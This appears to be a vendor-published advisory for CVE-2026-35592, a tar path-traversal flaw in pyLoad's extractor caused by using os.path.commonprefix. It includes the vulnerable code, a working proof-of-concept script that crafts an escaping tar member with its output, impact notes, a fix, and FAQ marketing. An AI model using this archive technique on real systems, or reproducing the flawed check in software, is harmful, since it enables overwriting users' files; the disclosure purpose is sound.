CVE-2026-35592

The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

# fs.py:384, CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

However, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

# UnTar.py:10-22, VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):

• commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg', equals the directory, check passes
• commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads', does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')
print(f'Content: {open(escaped_file).read()}')

Output:

Member: ../test_extraction_dir_pwned/evil.txt
Resolved: /tmp/test_extraction_dir_pwned/evil.txt
Check passes (should be False): True
File escaped to: /tmp/test_extraction_dir_pwned/evil.txt
Content: escaped the sandbox!

An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:

• Writing files outside the intended extraction directory into adjacent directories
• Overwriting other users' downloads
• Planting malicious files in predictable locations on disk
• If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution

The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-35592 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.0b3.dev97); upgrading removes the vulnerable code path.

Kodem intelligence

Replace the broken inline _is_within_directory with the correct is_within_directory from pyload.core.utils.fs:

import os
import sys
import tarfile

from pyload.core.utils.fs import is_within_directory, safejoin
from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError


# Fix for tarfile CVE-2007-4559
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.

1. What is CVE-2026-35592? CVE-2026-35592 is a medium-severity path traversal vulnerability in pyload-ng (pip), affecting versions < 0.5.0b3.dev97. It is fixed in 0.5.0b3.dev97. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-35592? CVE-2026-35592 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pyload-ng are affected by CVE-2026-35592? pyload-ng (pip) versions < 0.5.0b3.dev97 is affected.
4. Is there a fix for CVE-2026-35592? Yes. CVE-2026-35592 is fixed in 0.5.0b3.dev97. Upgrade to this version or later.
5. Is CVE-2026-35592 exploitable, and should I be worried? Whether CVE-2026-35592 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35592 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35592? Upgrade pyload-ng to 0.5.0b3.dev97 or later.